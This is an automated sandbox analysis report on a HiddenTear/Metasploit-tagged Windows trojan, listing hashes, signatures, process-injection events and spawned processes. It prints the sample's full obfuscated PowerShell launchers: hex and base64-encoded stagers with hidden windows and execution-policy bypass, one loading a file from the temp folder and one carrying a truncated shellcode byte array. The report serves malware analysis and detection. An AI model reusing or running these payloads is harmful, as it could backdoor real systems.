Malware Analysis Report

2024-09-23 04:02

Sample ID 240616-mgkqtatdlp
Target 2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear
SHA256 7ed139607a98ef560c9d9fc35c186fbdb53dbfb898a9a4542b6dd4d53da582f1
Tags
metasploit backdoor execution trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7ed139607a98ef560c9d9fc35c186fbdb53dbfb898a9a4542b6dd4d53da582f1

Threat Level: Known bad

The file 2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear was found to be: Known bad.

Malicious Activity Summary

metasploit backdoor execution trojan

MetaSploit

Command and Scripting Interpreter: PowerShell

Unsigned PE

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-16 10:26

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-16 10:26

Reported

2024-06-16 10:28

Platform

win10v2004-20240508-en

Max time kernel

147s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe"

Signatures

MetaSploit

trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4884 wrote to memory of 4140 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe
PID 4884 wrote to memory of 4140 N/A C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe
PID 4140 wrote to memory of 3988 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4140 wrote to memory of 3988 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3988 wrote to memory of 3296 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3988 wrote to memory of 3296 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3296 wrote to memory of 1844 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 3296 wrote to memory of 1844 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 1844 wrote to memory of 4296 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 1844 wrote to memory of 4296 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

Processes

C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe

"C:\Users\Admin\AppData\Local\Temp\2024-06-16_aa8f6a6b457a96d7c5ac81989f6c73af_hiddentear.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powERShelL.exe

powERShelL -WiN HidDEn -CoM "(-Join(('2628275365742d7641724941624c4527292052355a4e4a6f65344f58536e2033353b2628277365272b27542d764172494162272b274c652729204e77786974495730335555632039323b2628277b317d7b327d7b307d272d662741726961426c65272c27534554272c272d76272920646a48684a795764435465352031313b262828273620392033203520302034203120372034203220382039272d5245706c416345275c772b272c277b247b307d7d272d7245506c4163452720272c2727292d662776272c2772272c2762272c2774272c2761272c272d272c2773272c2769272c276c272c276527292073634545574630516f56616d282828282e28277b327d7b307d7b317d272d662761272c27724941624c65272c276745542d5627292052355a4e4a6f65344f58536e292e282827332030203120322034272d5265506c614365275c772b272c277b247b307d7d272d5245704c6163652720272c2727292d662761272c276c272c2775272c2776272c276527292b3130292d61735b436841725d292e2827746f537472694e6727292e694e564f6b4528292b2828282e2828273820322033203720302039203120342039203520362032272d7245706c614365275c772b272c277b247b307d7d272d5245704c6143652720272c2727292d662776272c2772272c2765272c2774272c2769272c2762272c276c272c272d272c2767272c27612729204e7778697449573033555563292e282827302034203320322031272d5245706c416365275c772b272c277b247b307d7d272d7265704c6163652720272c2727292d662776272c2765272c2775272c276c272c276127292b39292d61735b434841525d292e282827302035203620302033203220312034272d5265704c416345275c772b272c277b247b307d7d272d5265506c4143652720272c2727292d662774272c276e272c2769272c2772272c2767272c276f272c277327292e696e766f4b6528292b2828282e28277b337d7b327d7b307d7b317d272d66276c272c2745272c2752494162272c276765542d7661272920646a48684a79576443546535292e282827342032203120302033272d7265506c614365275c772b272c277b247b307d7d272d5265504c4143452720272c2727292d662775272c276c272c2761272c2765272c277627292b3838292d61735b434841525d292e28277b327d7b307d7b317d272d66274e272c2767272c27746f7354724927292e694e566f4b652829293b506f5745727348454c4c202d4e4f6e494e544572202d6e6f6c4f202d4e4f50526f202d77496e2068494444654e202d4578452042797061735320282628276765742d5661524961272b27426c4527292073634545574630516f56616d292e282827302034203320312032272d5265704c616365275c772b272c277b247b307d7d272d7245504c4163652720272c2727292d662776272c2775272c2765272c276c272c276127292e282827302035203620302034203320312032272d7265706c616365275c772b272c277b247b307d7d272d7265504c6143452720272c2727292d662774272c276e272c2767272c2769272c2772272c276f272c277327292e696e564f4b6528294a67416f414367414a774130414341414d6741674144594149414178414341414d4141674144634149414131414341414f414167414463414941417a414341414f514167414449414a77417441464941525142774145774151514244414555414a774263414863414b77416e414377414a7742374143514165774177414830416651416e4143304155674246414641416241426841474d415a51416e414341414a774173414363414a774170414330415a67416e414859414a774173414363414c51416e414377414a77426c414363414c41416e414749414a774173414363416377416e414377414a774279414363414c41416e414851414a774173414363415951416e414377414a774270414363414c41416e414777414a7741704143414163414230414555416141425441466f415367427441485541534142614145554149414178414459414f774175414367414a7742544147554164414174414859415151427941456b414a7741724143634151514243414363414b77416e414577414a774172414363415a51416e41436b41494142754147634159514259414730414e414134414867416541426f41466f4157514167414463414f414137414359414b41416f414363414e7741674144514149414179414341414f5141674144554149414177414341414d51416741444d4149414177414341414f4141674144594149414130414363414c5142534145554163414273414545415977426c4143634158414233414373414a774173414363416577416b414873414d414239414830414a774174414849415a5142774145774159514244414755414a774167414363414c41416e414363414b514174414759414a774268414363414c41416e414849414a774173414363416441416e414377414a774270414363414c41416e414755414a774173414363416467416e414377414a774273414363414c41416e41484d414a774173414363415967416e414377414a774174414363414b514167414545414f51426a414745414e674231414530416151424e4145774162514235414341414f414131414473414c67416f414334414b41416e414563414a7741724143634151774274414363414b51416f414363415577426c414363414b77416e414851414c5142324147454155674270414363414b77416e414745415167416e414373414a77424d414755414a77417041436b4149414253414863415a774133414659415277426f41476b4159674269414455415241416f414367414b41416f414359414b41416d414367414b41416e4144414149414178414341414d67416e414330416367426c414841416241424241454d415251416e4146774164774172414363414c41416e414873414a4142374144414166514239414363414c514253414555415541424d4145454151774246414363414941416e414377414a77416e41436b414c51426d414363415a77416e414377414a77426a414363414c41416e414730414a774170414367414a77426e4145554164414174414659415951425341476b4159514243414777415a51416e41436b414b5141674148414164414246414767415577426141456f4162514231414567415767424641436b414c67416f41436341657741784148304165774177414830414a774174414759414a774246414363414c41416e4148594159514273414855414a774170414373414d67413541436b414c51426841464d415777426a4147674151514279414630414b514175414367414a77423741444541665142374144414166514237414449416651416e414330415a67416e41476b414a774173414363416441425041464d4164414253414363414c41416e414734415277416e41436b414c6742704147344164674250414573415a51416f41436b414b77416f414367414b414175414367414a7742374144414166514237414445416651423741444941665142374144554166514237414451416651423741444d416651416e414330415a67416e414763414a77417341436341525142554143304156674268414363414c41416e414649416151416e414377414a77426c414363414c41416e414777414a7741734143634159514269414363414b514167414734415a77426841466741625141304144674165414234414767415767425a41436b414c67416f414363416577417941483041657741784148304165774177414830414a774174414759414a774246414363414c41416e414577416451416e414377414a774257414545414a774170414373414d67417a41436b414c51424241464d41577742444147674159514253414630414b514175414367414a7742304145384155774230414849415351416e414373414a774275414763414a774170414334416151424f4148594162774272414755414b414170414373414b41416f414367414c67416f414334414b41416e414873414d514239414873414d674239414873414d414239414363414c51426d414363416251416e414377414a77426e414363414c41416e41474d414a774170414367414b41416e41444d4149414135414341414e5141674144634149414134414341414e4141674144454149414132414341414e4141674144494149414177414341414f51416e4143304155674246414841415441424241474d415251416e4146774164774172414363414c41416e414873414a4142374144414166514239414363414c5142794147554155414273414545415177426c414363414941416e414377414a77416e41436b414c51426d414363416241416e414377414a774279414363414c41416e414749414a774173414363415a77416e414377414a774268414363414c41416e414851414a774173414363416151416e414377414a774174414363414c41416e414859414a774173414363415a51416e41436b414b514167414545414f51426a414745414e674231414530416151424e414577416251423541436b414c67416f4143634156674268414777415651426c414363414b514172414445414e4141704143304159514254414673415177426f414745416367426441436b414c67416f414363415641425041464d415641416e414373414a77427941476b4154674248414363414b51417541476b4154674232414538415377426c414367414b5141704144734155414250414663415251427941464d416141426c41477741544141674143304162674276414734416151424f414651415a514253414745415977425541476b4156674246414341414c51424f4147384154414276414563416277416741433041626742504148414163674250414341414c514233414341415341424a414551415241426c4145344149414174414755416541426c41454d4164514230414341415167425a414641415151427a41464d414941416f414359414b41416e414873414d674239414873414d414239414873414d514239414363414c51426d414363415151416e414377414a774269414577415251416e414377414a7742484145554164414174414659415151427941456b414a7741704143414155674233414763414e77425741456341614142704147494159674131414551414b514175414367414a774232414545415441416e414373414a774231414755414a774170414334414b41416e414873414d414239414363414c51426d414363416441427641484d416441427941476b4154674248414363414b51417541456b4162674257414738416177426c414367414b51416f41467341517742494147454163674262414630415851416f414367415777424441476741595142534146734158514264414367414c67416f414367414a774179414341414e414167414463414941417a414341414d5141674144674149414131414341414e4141674144414149414132414363414c514253414555416341424d414545415177426c4143634158414233414373414a774173414363416577416b414873414d414239414830414a774174414849415a5142514145774159514244414755414a774167414363414c41416e414363414b514174414759414a77426a414363414c41416e414738414a774173414363416267416e414377414a774174414363414c41416e414755414a774173414363416167416e414377414a774230414363414c41416e414863414a774173414363415967416e41436b414941416f414367414a774133414341414d7741674144454149414134414341414d41416741444d4149414179414341414e4141674144594149414131414341414d7741674144634149414178414363414c514253414755416341424d41454541517742464143634158414233414373414a774173414363416577416b414873414d414239414830414a774174414849415a5142774145774151514244414555414a774167414363414c41416e414363414b514174414759414a774233414363414c41416e414851414a774173414363415967416e414377414a77426c414363414c41416e41474d414a774173414363416151416e414377414a774273414363414c41416e414734414a774173414363414c67416e41436b414b514175414367414a7742374144414166514237414445416651416e414330415a67416e41455141627742584147344154414276414745415241427a414651415567424a414534414a774173414363415277416e41436b414c67424a4145344156674250414773415251416f414351415a514275414859414f6742304147554162514277414373414a7742634145344161414230414559415a41424841484d415a41424e4148594157414278414363414b514170414877414a514237414351415741426d4148594157414177414738415251413441454941537742354148674150514177414830416577416b414638414c514243414867416277425341436341524142344145554156514245414534414d41426e4147454161674268414449416351424941445141617742424146674154774234414863414d7742454144514159514132414777416367426f414655416167416e414673414a41425941475941646742594144414162774246414467415167424c41486b4165414172414373414a51417a414445415851423941436b414c514271414738415351424f414363414a774170414473415567426c4147304162774232414755414c51424a414851415a514274414341414a41426c4147344164674136414851415a514274414841414a7742634145344161414230414559415a41424841484d415a41424e414859415741427841436341'-sPlit'(?<=\G.{2})(?!$)')|%{[coNvErT]::('toI'+'n'+'t16').INvoKe(($_),16)-AS[ChaR]}))|&(('10 9 7 3 6 4 5 4 8 0 1 4 2 2 10 3 9'-rEpLaCe'\w+','{${0}}'-RePLace' ','')-f'p','r','s','o','e','-','k','v','x','n','i')"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOnINTEr -nolO -NOPRo -wIn hIDDeN -ExE BypasS -ec JgAoACgAJwA0ACAAMgAgADYAIAAxACAAMAAgADcAIAA1ACAAOAAgADcAIAAzACAAOQAgADIAJwAtAFIARQBwAEwAQQBDAEUAJwBcAHcAKwAnACwAJwB7ACQAewAwAH0AfQAnAC0AUgBFAFAAbABhAGMAZQAnACAAJwAsACcAJwApAC0AZgAnAHYAJwAsACcALQAnACwAJwBlACcALAAnAGIAJwAsACcAcwAnACwAJwByACcALAAnAHQAJwAsACcAYQAnACwAJwBpACcALAAnAGwAJwApACAAcAB0AEUAaABTAFoASgBtAHUASABaAEUAIAAxADYAOwAuACgAJwBTAGUAdAAtAHYAQQByAEkAJwArACcAQQBCACcAKwAnAEwAJwArACcAZQAnACkAIABuAGcAYQBYAG0ANAA4AHgAeABoAFoAWQAgADcAOAA7ACYAKAAoACcANwAgADQAIAAyACAAOQAgADUAIAAwACAAMQAgADMAIAAwACAAOAAgADYAIAA0ACcALQBSAEUAcABsAEEAYwBlACcAXAB3ACsAJwAsACcAewAkAHsAMAB9AH0AJwAtAHIAZQBwAEwAYQBDAGUAJwAgACcALAAnACcAKQAtAGYAJwBhACcALAAnAHIAJwAsACcAdAAnACwAJwBpACcALAAnAGUAJwAsACcAdgAnACwAJwBsACcALAAnAHMAJwAsACcAYgAnACwAJwAtACcAKQAgAEEAOQBjAGEANgB1AE0AaQBNAEwAbQB5ACAAOAA1ADsALgAoAC4AKAAnAEcAJwArACcAQwBtACcAKQAoACcAUwBlACcAKwAnAHQALQB2AGEAUgBpACcAKwAnAGEAQgAnACsAJwBMAGUAJwApACkAIABSAHcAZwA3AFYARwBoAGkAYgBiADUARAAoACgAKAAoACYAKAAmACgAKAAnADAAIAAxACAAMgAnAC0AcgBlAHAAbABBAEMARQAnAFwAdwArACcALAAnAHsAJAB7ADAAfQB9ACcALQBSAEUAUABMAEEAQwBFACcAIAAnACwAJwAnACkALQBmACcAZwAnACwAJwBjACcALAAnAG0AJwApACgAJwBnAEUAdAAtAFYAYQBSAGkAYQBCAGwAZQAnACkAKQAgAHAAdABFAGgAUwBaAEoAbQB1AEgAWgBFACkALgAoACcAewAxAH0AewAwAH0AJwAtAGYAJwBFACcALAAnAHYAYQBsAHUAJwApACsAMgA5ACkALQBhAFMAWwBjAGgAQQByAF0AKQAuACgAJwB7ADEAfQB7ADAAfQB7ADIAfQAnAC0AZgAnAGkAJwAsACcAdABPAFMAdABSACcALAAnAG4ARwAnACkALgBpAG4AdgBPAEsAZQAoACkAKwAoACgAKAAuACgAJwB7ADAAfQB7ADEAfQB7ADIAfQB7ADUAfQB7ADQAfQB7ADMAfQAnAC0AZgAnAGcAJwAsACcARQBUAC0AVgBhACcALAAnAFIAaQAnACwAJwBlACcALAAnAGwAJwAsACcAYQBiACcAKQAgAG4AZwBhAFgAbQA0ADgAeAB4AGgAWgBZACkALgAoACcAewAyAH0AewAxAH0AewAwAH0AJwAtAGYAJwBFACcALAAnAEwAdQAnACwAJwBWAEEAJwApACsAMgAzACkALQBBAFMAWwBDAGgAYQBSAF0AKQAuACgAJwB0AE8AUwB0AHIASQAnACsAJwBuAGcAJwApAC4AaQBOAHYAbwBrAGUAKAApACsAKAAoACgALgAoAC4AKAAnAHsAMQB9AHsAMgB9AHsAMAB9ACcALQBmACcAbQAnACwAJwBnACcALAAnAGMAJwApACgAKAAnADMAIAA5ACAANQAgADcAIAA4ACAANAAgADEAIAA2ACAANAAgADIAIAAwACAAOQAnAC0AUgBFAHAATABBAGMARQAnAFwAdwArACcALAAnAHsAJAB7ADAAfQB9ACcALQByAGUAUABsAEEAQwBlACcAIAAnACwAJwAnACkALQBmACcAbAAnACwAJwByACcALAAnAGIAJwAsACcAZwAnACwAJwBhACcALAAnAHQAJwAsACcAaQAnACwAJwAtACcALAAnAHYAJwAsACcAZQAnACkAKQAgAEEAOQBjAGEANgB1AE0AaQBNAEwAbQB5ACkALgAoACcAVgBhAGwAVQBlACcAKQArADEANAApAC0AYQBTAFsAQwBoAGEAcgBdACkALgAoACcAVABPAFMAVAAnACsAJwByAGkATgBHACcAKQAuAGkATgB2AE8ASwBlACgAKQApADsAUABPAFcARQByAFMAaABlAGwATAAgAC0AbgBvAG4AaQBOAFQAZQBSAGEAYwBUAGkAVgBFACAALQBOAG8ATABvAEcAbwAgAC0AbgBPAHAAcgBPACAALQB3ACAASABJAEQARABlAE4AIAAtAGUAeABlAEMAdQB0ACAAQgBZAFAAQQBzAFMAIAAoACYAKAAnAHsAMgB9AHsAMAB9AHsAMQB9ACcALQBmACcAQQAnACwAJwBiAEwARQAnACwAJwBHAEUAdAAtAFYAQQByAEkAJwApACAAUgB3AGcANwBWAEcAaABpAGIAYgA1AEQAKQAuACgAJwB2AEEATAAnACsAJwB1AGUAJwApAC4AKAAnAHsAMAB9ACcALQBmACcAdABvAHMAdAByAGkATgBHACcAKQAuAEkAbgBWAG8AawBlACgAKQAoAFsAQwBIAGEAcgBbAF0AXQAoACgAWwBDAGgAYQBSAFsAXQBdACgALgAoACgAJwAyACAANAAgADcAIAAzACAAMQAgADgAIAA1ACAANAAgADAAIAA2ACcALQBSAEUAcABMAEEAQwBlACcAXAB3ACsAJwAsACcAewAkAHsAMAB9AH0AJwAtAHIAZQBQAEwAYQBDAGUAJwAgACcALAAnACcAKQAtAGYAJwBjACcALAAnAG8AJwAsACcAbgAnACwAJwAtACcALAAnAGUAJwAsACcAagAnACwAJwB0ACcALAAnAHcAJwAsACcAYgAnACkAIAAoACgAJwA3ACAAMwAgADEAIAA4ACAAMAAgADMAIAAyACAANAAgADYAIAA1ACAAMwAgADcAIAAxACcALQBSAGUAcABMAEEAQwBFACcAXAB3ACsAJwAsACcAewAkAHsAMAB9AH0AJwAtAHIAZQBwAEwAQQBDAEUAJwAgACcALAAnACcAKQAtAGYAJwB3ACcALAAnAHQAJwAsACcAYgAnACwAJwBlACcALAAnAGMAJwAsACcAaQAnACwAJwBsACcALAAnAG4AJwAsACcALgAnACkAKQAuACgAJwB7ADAAfQB7ADEAfQAnAC0AZgAnAEQAbwBXAG4ATABvAGEARABzAFQAUgBJAE4AJwAsACcARwAnACkALgBJAE4AVgBPAGsARQAoACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcAE4AaAB0AEYAZABHAHMAZABNAHYAWABxACcAKQApAHwAJQB7ACQAWABmAHYAWAAwAG8ARQA4AEIASwB5AHgAPQAwAH0AewAkAF8ALQBCAHgAbwBSACcARAB4AEUAVQBEAE4AMABnAGEAagBhADIAcQBIADQAawBBAFgATwB4AHcAMwBEADQAYQA2AGwAcgBoAFUAagAnAFsAJABYAGYAdgBYADAAbwBFADgAQgBLAHkAeAArACsAJQAzADEAXQB9ACkALQBqAG8ASQBOACcAJwApADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABlAG4AdgA6AHQAZQBtAHAAJwBcAE4AaAB0AEYAZABHAHMAZABNAHYAWABxACcA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noniNTeRacTiVE -NoLoGo -nOprO -w HIDDeN -exeCut BYPAsS -ec KAAtAGoATwBJAG4AKAAoACcAMgA0ADcAMQA0AGMANgBkADUANAA3ADIANgBkADYAYgA2ADgAMwA3ADMAMgA1ADMANAA2ADMAZAAyADYAMgA4ADIAOAAyADcAMwAyADIAMAAzADUAMgAwADMANQAyADAAMwAxADIAMAAzADAAMgAwADMANAAyADAAMwA2ADIAMAAzADMAMgA3ADIAZAA1ADIANgA1ADUAMAA2AGMANgAxADYAMwA2ADUAMgA3ADUAYwA3ADcAMgBiADIANwAyAGMAMgA3ADcAYgAyADQANwBiADMAMAA3AGQANwBkADIANwAyAGQANQAyADQANQA3ADAANABjADYAMQA0ADMANgA1ADIANwAyADAAMgA3ADIAYwAyADcAMgA3ADIAOQAyAGQANgA2ADIANwA3ADQAMgA3ADIAYwAyADcAMgBkADIANwAyAGMAMgA3ADYAMQAyADcAMgBjADIANwA2ADUAMgA3ADIAYwAyADcANwA5ADIANwAyAGMAMgA3ADYANAAyADcAMgBjADIANwA3ADAAMgA3ADIAOQAyADAAMgBkADYAZAAyADAAMgA3ADUAYgA0ADQANgBjADYAYwA0ADkANgBkADcAMAA2AGYANwAyADcANAAyADgAMgAyADYAYgA2ADUANwAyADYAZQA2ADUANgBjADMAMwAzADIAMgBlADYANAA2AGMANgBjADIAMgAyADkANQBkADIAMAA3ADAANwA1ADYAMgA2AGMANgA5ADYAMwAyADAANwAzADcANAA2ADEANwA0ADYAOQA2ADMAMgAwADYANQA3ADgANwA0ADYANQA3ADIANgBlADIAMAA0ADkANgBlADcANAA1ADAANwA0ADcAMgAyADAANQA2ADYAOQA3ADIANwA0ADcANQA2ADEANgBjADQAMQA2AGMANgBjADYAZgA2ADMAMgA4ADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGMANwAwADQAMQA2ADQANgA0ADcAMgA2ADUANwAzADcAMwAyAGMAMgAwADcANQA2ADkANgBlADcANAAyADAANgA0ADcANwA1ADMANgA5ADcAYQA2ADUAMgBjADIAMAA3ADUANgA5ADYAZQA3ADQAMgAwADYANgA2AGMANAAxADYAYwA2AGMANgBmADYAMwA2ADEANwA0ADYAOQA2AGYANgBlADUANAA3ADkANwAwADYANQAyAGMAMgAwADcANQA2ADkANgBlADcANAAyADAANgA2ADYAYwA1ADAANwAyADYAZgA3ADQANgA1ADYAMwA3ADQAMgA5ADMAYgA1AGIANAA0ADYAYwA2AGMANAA5ADYAZAA3ADAANgBmADcAMgA3ADQAMgA4ADIAMgA2AGIANgA1ADcAMgA2AGUANgA1ADYAYwAzADMAMwAyADIAZQA2ADQANgBjADYAYwAyADIAMgA5ADUAZAAyADAANwAwADcANQA2ADIANgBjADYAOQA2ADMAMgAwADcAMwA3ADQANgAxADcANAA2ADkANgAzADIAMAA2ADUANwA4ADcANAA2ADUANwAyADYAZQAyADAANAA5ADYAZQA3ADQANQAwADcANAA3ADIAMgAwADQAMwA3ADIANgA1ADYAMQA3ADQANgA1ADUANAA2ADgANwAyADYANQA2ADEANgA0ADIAOAA0ADkANgBlADcANAA1ADAANwA0ADcAMgAyADAANgBjADcAMAA1ADQANgA4ADcAMgA2ADUANgAxADYANAA0ADEANwA0ADcANAA3ADIANgA5ADYAMgA3ADUANwA0ADYANQA3ADMAMgBjADIAMAA3ADUANgA5ADYAZQA3ADQAMgAwADYANAA3ADcANQAzADcANAA2ADEANgAzADYAYgA1ADMANgA5ADcAYQA2ADUAMgBjADIAMAA0ADkANgBlADcANAA1ADAANwA0ADcAMgAyADAANgBjADcAMAA1ADMANwA0ADYAMQA3ADIANwA0ADQAMQA2ADQANgA0ADcAMgA2ADUANwAzADcAMwAyAGMAMgAwADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGMANwAwADUAMAA2ADEANwAyADYAMQA2AGQANgA1ADcANAA2ADUANwAyADIAYwAyADAANwA1ADYAOQA2AGUANwA0ADIAMAA2ADQANwA3ADQAMwA3ADIANgA1ADYAMQA3ADQANgA5ADYAZgA2AGUANAA2ADYAYwA2ADEANgA3ADcAMwAyAGMAMgAwADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGMANwAwADUANAA2ADgANwAyADYANQA2ADEANgA0ADQAOQA2ADQAMgA5ADMAYgA1AGIANAA0ADYAYwA2AGMANAA5ADYAZAA3ADAANgBmADcAMgA3ADQAMgA4ADIAMgA2AGQANwAzADcANgA2ADMANwAyADcANAAyAGUANgA0ADYAYwA2AGMAMgAyADIAOQA1AGQAMgAwADcAMAA3ADUANgAyADYAYwA2ADkANgAzADIAMAA3ADMANwA0ADYAMQA3ADQANgA5ADYAMwAyADAANgA1ADcAOAA3ADQANgA1ADcAMgA2AGUAMgAwADQAOQA2AGUANwA0ADUAMAA3ADQANwAyADIAMAA2AGQANgA1ADYAZAA3ADMANgA1ADcANAAyADgANAA5ADYAZQA3ADQANQAwADcANAA3ADIAMgAwADYANAA2ADUANwAzADcANAAyAGMAMgAwADcANQA2ADkANgBlADcANAAyADAANwAzADcAMgA2ADMAMgBjADIAMAA3ADUANgA5ADYAZQA3ADQAMgAwADYAMwA2AGYANwA1ADYAZQA3ADQAMgA5ADMAYgAyADcAMgAwADIAZAA2AGUANgAxADYAZAA2ADUAMgAwADIANwA1ADcANgA5ADYAZQAzADMAMwAyADIANwAyADAAMgBkADYAZQA3ADMAMgAwADUANwA2ADkANgBlADMAMwAzADIANAA2ADcANQA2AGUANgAzADcANAA2ADkANgBmADYAZQA3ADMAMgAwADIAZAA3ADAANgAxADcAMwAzAGIANQBiADYAMgA1ADkANQA0ADYANQA1AGIANQBkADUAZAAyADQANAA1ADUANAA0AGQANQA1ADQAYQA3ADgANwAwADMANAA0AGMANgA3ADMAOAAzADcAMwBkADMAMAA3ADgANgA2ADYAMwAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADMAMgBjADMAMAA3ADgANgA1ADMANAAyAGMAMwAwADcAOAA2ADYAMwAwADIAYwAzADAANwA4ADYANQAzADgAMgBjADMAMAA3ADgANgAzADYAMwAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADEAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwAwADIAYwAzADAANwA4ADMANQAzADIAMgBjADMAMAA3ADgAMwA1ADMAMQAyAGMAMwAwADcAOAAzADUAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAzADMAMQAyAGMAMwAwADcAOAA2ADQAMwAyADIAYwAzADAANwA4ADMANgAzADUAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgANgAyADIAYwAzADAANwA4ADMANQAzADIAMgBjADMAMAA3ADgAMwA2ADMAMAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA1ADMAMgAyAGMAMwAwADcAOAAzADEAMwA4ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADUAMwAyADIAYwAzADAANwA4ADMAMgAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgANgAyADIAYwAzADAANwA4ADMANwAzADIAMgBjADMAMAA3ADgAMwA1ADMAMAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMAA2ADYAMgBjADMAMAA3ADgANgAyADMANwAyAGMAMwAwADcAOAAzADQANgAxADIAYwAzADAANwA4ADMANAA2ADEAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgANgAxADYAMwAyAGMAMwAwADcAOAAzADMANgAzADIAYwAzADAANwA4ADMANgAzADEAMgBjADMAMAA3ADgAMwA3ADYAMwAyAGMAMwAwADcAOAAzADAAMwAyADIAYwAzADAANwA4ADMAMgA2ADMAMgBjADMAMAA3ADgAMwAyADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADAANgA0ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADMAMwAxADIAYwAzADAANwA4ADYANQAzADIAMgBjADMAMAA3ADgANgA1ADYANAAyAGMAMwAwADcAOAAzADUAMwAyADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAMQAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA1ADMAMgAyAGMAMwAwADcAOAAzADIAMwAwADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA0ADMAMgAyAGMAMwAwADcAOAAzADMANgAzADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADQAMwAwADIAYwAzADAANwA4ADMANgAzADYAMgBjADMAMAA3ADgAMwA4ADMAMQAyAGMAMwAwADcAOAAzADcAMwA4ADIAYwAzADAANwA4ADMAMQAz